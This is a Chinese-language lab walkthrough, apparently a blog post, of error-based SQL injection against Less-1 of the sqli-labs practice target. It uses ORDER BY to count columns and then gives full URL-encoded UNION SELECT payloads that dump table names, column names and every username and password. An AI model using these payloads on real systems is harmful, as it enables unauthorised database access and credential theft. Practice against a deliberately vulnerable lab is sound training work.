1.用上次搭建的sqli-labs靶场中less-1(基于报错的单引号字符串)进行实操
进入后我们看到这样的回显:请输入ID作为带数值的参数
正常输入?id=1 发现,发现没有问题
加上单引号后有报错
2.用order by语句
注:order by语句是按照字段排序
这里我们从1开始试,发现3可以,证明数据库是有编号为3的字段
当我们把3改成4,会发现报错:Unknown column '4' in 'order clause'
证明当前数据库表只有三个字段
3.利用union的联合查询来实现
ID=0后回显报错,接下来我们用union的联合报错
因为有前面判断出有三个字段,用1,2,3 。后面用--+注释掉
查询结果如上所示
union联合查询能帮助我们找出第几个字段的内容放在login name和password的位置;
因为ID=0,所有真正的用户名和密码无法查询,用union联合查询查到在第2和3字段
4.利用MySQL函数查询
查询登录名user(),数据库名database()
爆出当前用户为root@localhost,该页面访问的数据库为security
5.获得表名
id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%20--+
group_concat(table_name):占用2的位置爆出所有表名
information_schema.tables:从information_schema库里面的tables表的爆出
where table_schema=database():条件
所有该数据库所有的表名是:emails,referers,uagents,users
分析:users跟用户有关
6.爆出users表里的所有字段
id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+
原数据的column_name字段是从information_schem库中存放的columns表里得到的
此时爆出了表上所有字段包括 id,username,password
7.根据字段名爆出字段具体信息
还是用union联合注入
id=0%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users%20--+
group_concat(username,0x3a,password):获得username和password字段
0x3a:为了区分
获得所有的用户名和密码!
到这里我们就完成了(基于get)利用SQL注入把一个数据库爆掉,获取所有用户名和密码,我们主要用到的是联合注入,同时利用order by 以此爆出数据库名,表名,字段名,找到有用的字段信息。
希望对你有所帮助!!!